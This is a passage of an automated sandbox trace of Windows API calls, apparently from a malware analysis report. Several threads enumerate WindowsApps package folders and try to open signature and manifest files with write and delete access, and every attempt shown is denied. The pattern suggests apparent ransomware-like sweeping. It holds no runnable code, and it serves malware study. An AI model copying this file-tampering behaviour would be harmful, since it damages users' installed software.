	[0082.431] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingFinance_4.6.169.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*", lpFindFileData=0x4748a28 | out: lpFindFileData=0x4748a28*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5eed6166, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xaa097114, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5eed6166, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a8518
	[0082.432] wcscmp (_String1=".", _String2=".") returned 0
	[0082.432] FindNextFileW (in: hFindFile=0x46a8518, lpFindFileData=0x4748a28 | out: lpFindFileData=0x4748a28*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5eed6166, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xaa097114, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5eed6166, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.432] wcscmp (_String1="..", _String2=".") returned 1
	[0082.432] wcscmp (_String1="..", _String2="..") returned 0
	[0082.432] FindNextFileW (in: hFindFile=0x46a8518, lpFindFileData=0x4748a28 | out: lpFindFileData=0x4748a28*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5eed6166, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xaa097114, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5eed6166, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0082.432] FindClose (in: hFindFile=0x46a8518 | out: hFindFile=0x46a8518) returned 1
	[0082.432] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4748a28) returned 1
	[0082.432] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4766910) returned 1
	[0082.432] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4751f78) returned 1

Thread:
	id = 977
	os_tid = 0x154c

	[0082.433] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\appxblockmap.xml")) returned 0x20
	[0082.435] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0082.437] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\appxblockmap.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0082.438] GetLastError () returned 0x5
	[0082.438] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0082.439] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477e570) returned 1

Thread:
	id = 978
	os_tid = 0x1550

	[0082.440] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd4) returned 0x4773010
	[0082.440] wcscpy (in: _Dest=0x4773010, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata"
	[0082.441] wcscat (in: _Dest=0x4773010, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\"
	[0082.441] wcscat (in: _Dest=0x4773010, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\*"
	[0082.441] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4748a28
	[0082.441] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\*", lpFindFileData=0x4748a28 | out: lpFindFileData=0x4748a28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdf3689c, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa04335f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdf3689c, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a8618
	[0082.442] wcscmp (_String1=".", _String2=".") returned 0
	[0082.442] FindNextFileW (in: hFindFile=0x46a8618, lpFindFileData=0x4748a28 | out: lpFindFileData=0x4748a28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdf3689c, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xaa04335f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdf3689c, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.442] wcscmp (_String1="..", _String2=".") returned 1
	[0082.442] wcscmp (_String1="..", _String2="..") returned 0
	[0082.442] FindNextFileW (in: hFindFile=0x46a8618, lpFindFileData=0x4748a28 | out: lpFindFileData=0x4748a28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdf3689c, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xcdf3689c, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xcdf3689c, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x6b98, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBundleManifest.xml", cAlternateFileName="")) returned 1
	[0082.442] wcscmp (_String1="AppxBundleManifest.xml", _String2=".") returned 1
	[0082.442] wcscmp (_String1="AppxBundleManifest.xml", _String2="..") returned 1
	[0082.442] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfe) returned 0x481c970
	[0082.442] wcscpy (in: _Dest=0x481c970, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata"
	[0082.442] wcscat (in: _Dest=0x481c970, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\"
	[0082.442] wcscat (in: _Dest=0x481c970, _Source="AppxBundleManifest.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml"
	[0090.602] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\appxmetadata\\appxbundlemanifest.xml")) returned 0x20
	[0090.604] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml", dwFileAttributes=0x20) returned 0
	[0090.604] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\appxmetadata\\appxbundlemanifest.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.604] GetLastError () returned 0x5
	[0090.604] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml", dwFileAttributes=0x20) returned 0
	[0090.605] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481c970) returned 1
	[0090.605] FindNextFileW (in: hFindFile=0x46a8618, lpFindFileData=0x4748a28 | out: lpFindFileData=0x4748a28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdf3689c, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xcdf3689c, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0xcdf3689c, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x6b98, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBundleManifest.xml", cAlternateFileName="")) returned 0
	[0090.605] FindClose (in: hFindFile=0x46a8618 | out: hFindFile=0x46a8618) returned 1
	[0090.605] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4748a28) returned 1
	[0090.605] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4773010) returned 1
	[0090.605] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e12e18) returned 1

Thread:
	id = 979
	os_tid = 0x155c

	[0082.442] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\appxsignature.p7x")) returned 0x20
	[0082.443] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0082.443] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\appxsignature.p7x"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0082.443] GetLastError () returned 0x5
	[0082.443] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0082.444] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4768628) returned 1

Thread:
	id = 980
	os_tid = 0x1624

	[0082.445] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfe) returned 0x481d2b8
	[0082.445] wcscpy (in: _Dest=0x481d2b8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0082.445] wcscat (in: _Dest=0x481d2b8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\"
	[0082.445] wcscat (in: _Dest=0x481d2b8, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*"
	[0082.445] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47457a0
	[0082.445] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Appconnector_2015.707.550.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*", lpFindFileData=0x47457a0 | out: lpFindFileData=0x47457a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5e205736, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xaa043ddd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5e205736, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a8518
	[0082.445] wcscmp (_String1=".", _String2=".") returned 0
	[0082.445] FindNextFileW (in: hFindFile=0x46a8518, lpFindFileData=0x47457a0 | out: lpFindFileData=0x47457a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5e205736, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xaa043ddd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5e205736, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.445] wcscmp (_String1="..", _String2=".") returned 1
	[0082.445] wcscmp (_String1="..", _String2="..") returned 0
	[0082.445] FindNextFileW (in: hFindFile=0x46a8518, lpFindFileData=0x47457a0 | out: lpFindFileData=0x47457a0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5e205736, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xaa043ddd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5e205736, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0082.445] FindClose (in: hFindFile=0x46a8518 | out: hFindFile=0x46a8518) returned 1
	[0082.445] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47457a0) returned 1
	[0082.445] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481d2b8) returned 1
	[0082.445] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47cc140) returned 1

Thread:
	id = 981
	os_tid = 0x1628

	[0082.447] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe\\appxblockmap.xml")) returned 0x20
	[0082.448] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0082.449] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe\\appxblockmap.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0082.451] GetLastError () returned 0x5
	[0082.451] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0082.452] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477c2a8) returned 1

Thread:
	id = 982
	os_tid = 0x1630

	[0082.454] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc8) returned 0x4718f80
	[0082.454] wcscpy (in: _Dest=0x4718f80, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata"
	[0082.454] wcscat (in: _Dest=0x4718f80, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\"
	[0082.454] wcscat (in: _Dest=0x4718f80, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\*"
	[0082.454] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47457a0
	[0082.454] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\*", lpFindFileData=0x47457a0 | out: lpFindFileData=0x47457a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x287b925a, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab841b4d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x287b925a, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a8518
	[0082.455] wcscmp (_String1=".", _String2=".") returned 0
	[0082.455] FindNextFileW (in: hFindFile=0x46a8518, lpFindFileData=0x47457a0 | out: lpFindFileData=0x47457a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x287b925a, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab841b4d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x287b925a, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.455] wcscmp (_String1="..", _String2=".") returned 1
	[0082.455] wcscmp (_String1="..", _String2="..") returned 0
	[0082.455] FindNextFileW (in: hFindFile=0x46a8518, lpFindFileData=0x47457a0 | out: lpFindFileData=0x47457a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x287b925a, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x287df4b3, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x287df4b3, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x4246, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBundleManifest.xml", cAlternateFileName="")) returned 1
	[0082.455] wcscmp (_String1="AppxBundleManifest.xml", _String2=".") returned 1
	[0082.455] wcscmp (_String1="AppxBundleManifest.xml", _String2="..") returned 1
	[0082.455] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf2) returned 0x4765710
	[0082.455] wcscpy (in: _Dest=0x4765710, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata"
	[0082.455] wcscat (in: _Dest=0x4765710, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\"
	[0082.455] wcscat (in: _Dest=0x4765710, _Source="AppxBundleManifest.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml"
	[0090.542] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe\\appxmetadata\\appxbundlemanifest.xml")) returned 0x20
	[0090.542] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml", dwFileAttributes=0x20) returned 0
	[0090.542] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe\\appxmetadata\\appxbundlemanifest.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.542] GetLastError () returned 0x5
	[0090.542] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\AppxBundleManifest.xml", dwFileAttributes=0x20) returned 0
	[0090.542] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4765710) returned 1
	[0090.542] FindNextFileW (in: hFindFile=0x46a8518, lpFindFileData=0x47457a0 | out: lpFindFileData=0x47457a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x287b925a, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x287df4b3, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x287df4b3, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x4246, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBundleManifest.xml", cAlternateFileName="")) returned 0
	[0090.543] FindClose (in: hFindFile=0x46a8518 | out: hFindFile=0x46a8518) returned 1
	[0090.543] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47457a0) returned 1
	[0090.543] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4718f80) returned 1
	[0090.543] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47e90f0) returned 1

Thread:
	id = 983
	os_tid = 0x1634

	[0082.455] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe\\appxsignature.p7x")) returned 0x20
	[0082.456] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0082.456] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe\\appxsignature.p7x"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0082.456] GetLastError () returned 0x5
	[0082.456] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0082.456] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e12170) returned 1

Thread:
	id = 984
	os_tid = 0x1638

	[0082.457] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf2) returned 0x4767110
	[0082.457] wcscpy (in: _Dest=0x4767110, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0082.457] wcscat (in: _Dest=0x4767110, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.2.24002.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\"
